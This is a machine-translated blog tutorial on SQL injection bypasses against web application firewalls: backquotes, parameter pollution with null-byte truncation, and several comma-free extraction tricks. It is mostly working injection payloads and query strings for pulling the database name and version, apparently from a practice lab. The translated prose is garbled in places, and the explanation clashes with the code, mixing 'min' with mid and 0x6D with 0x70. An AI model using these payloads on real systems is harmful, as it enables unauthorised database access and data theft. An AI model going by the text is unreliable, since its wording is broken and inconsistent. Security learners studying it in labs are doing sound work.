当前位置:网站首页>SQL injection bypass (2)
SQL injection bypass (2)
2022-06-28 02:21:00 【A τθ】
One 、 Backquote bypass
stay mysql have access to ` Here are the back quotes ` Bypass some waf Intercept . Fields can be backquoted or not , The same meaning .
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

Two 、 Scripting language features bypass
1、 Introduce
stay php In language ,id=1&id=2 The following value will automatically overwrite the previous value , Different languages have different characteristics . You can use this to bypass some waf Interception of .
id=1%00&id=2 union select 1,2,3
There are some waf Will match the first one id Parameters 1%00, %00 Is a truncated character ,waf Will automatically cut off So that the following content will not be detected . Into the program ,id Is equal to id=2 union select 1,2,3 From bypass injection interception .
Other language features

2、 Practice 1


3、 Practice 2
?name=vince%00&name=' union select 1,database()--+&submit=1

3、 ... and 、 Comma around
At present, some anti injection scripts are intercepted with commas , For example, a comma must be included in a regular injection .
select * from users where id=1 union select 1,2,3,4;
Generally, commas are filtered to be empty ,select * from users where id=1 union select 1 2 3 4; such SQL The statement will go wrong . therefore , You can do without commas SQL Inject .
The bypass method is as follows :
1、 The first way :substr Intercepting string
Query the first character of the current library :
select(substr(database() from 1 for 1));
Inquire about p be equal to select(substr(database() from 1 for 1)), The page returns to normal .
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
Can further optimize m Switch to hex 0x6D, This avoids single quotation marks .
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、 The second way :mid Intercepting string
This min Function follows substr Same function , If substr Functions that are intercepted or filtered can be used instead of .
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、 The third way : Use join Bypass
Use join Self join two tables :
union select 1,2 # Equivalent to union select * from (select 1)a join (select 2)b, among a and b They are the aliases of the table .
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
There is no comma here , To bypass the waf Interception of commas .

4、 The fourth way :like Bypass
Use like Fuzzy query select user() like '%r%'; The fuzzy query successfully returns 1, Otherwise return to 0
After finding the first character, continue to the next character matching . To find all the strings , Finally, the content to be queried , such SQL There will be no comma in the injection statement . To bypass the waf Intercept .

5、 The fifth way :limit offset Bypass
SQL When the injection , If you need to qualify entries, you can use limit 0,1 Limit the number of return entries ,limit 0,1 Return a record . If you intercept commas , have access to limit 1 The first data is returned by default . You can also use limit 1 offset 0 Return the first record from zero , This bypasses waf Intercept .

边栏推荐
猜你喜欢

Evaluation - grey correlation analysis

To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine

Numpy----np.tile()函数解析

要搞清楚什么是同步,异步,串行,并行,并发,进程,线程,协程
![[elt.zip] openharmony paper Club - memory compression for data intensive applications](/img/54/8248c1d95b04498d44a00ea94a6c85.png)
[elt.zip] openharmony paper Club - memory compression for data intensive applications

Appium自动化测试基础 — ADB常用命令(一)

Appium自动化测试基础— 补充:App的包名(appPackage)和启动名(appActivity)

Original | 2025 to achieve the "five ones" goal! The four products of Jiefang power are officially released

The interviewer asked: can you simulate the new operator of JS

Take n multiple table names of a database as the values of a column in another table (the range can be a table in another database)
随机推荐
混合app的介绍
Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)
How fiddle uses agents
Numpy----np.tile()函数解析
style中的scoped属性和lang属性
1382. 将二叉搜索树变平衡-常规方法
mysql面试百题集
STM32的通用定时器与中断
TD Hero online conference on July 2
Hi, you have a code review strategy to check!
树莓派实现温控风扇智能降温
[Yocto RM]3 - Yocto Project Releases and the Stable Release Process
Embedded must learn! Detailed explanation of hardware resource interface - based on arm am335x development board (Part 2)
Cesium Color 颜色(赋值)随机颜色
Four classic training modes in comparative learning
What are the risks of opening a compass stock account? Is it safe to open a compass account
Jenkins - Pipeline syntax
Cesium Click to obtain longitude and latitude (2D coordinates)
Appium自动化测试基础 — ADB常用命令(一)
网络爬虫是什么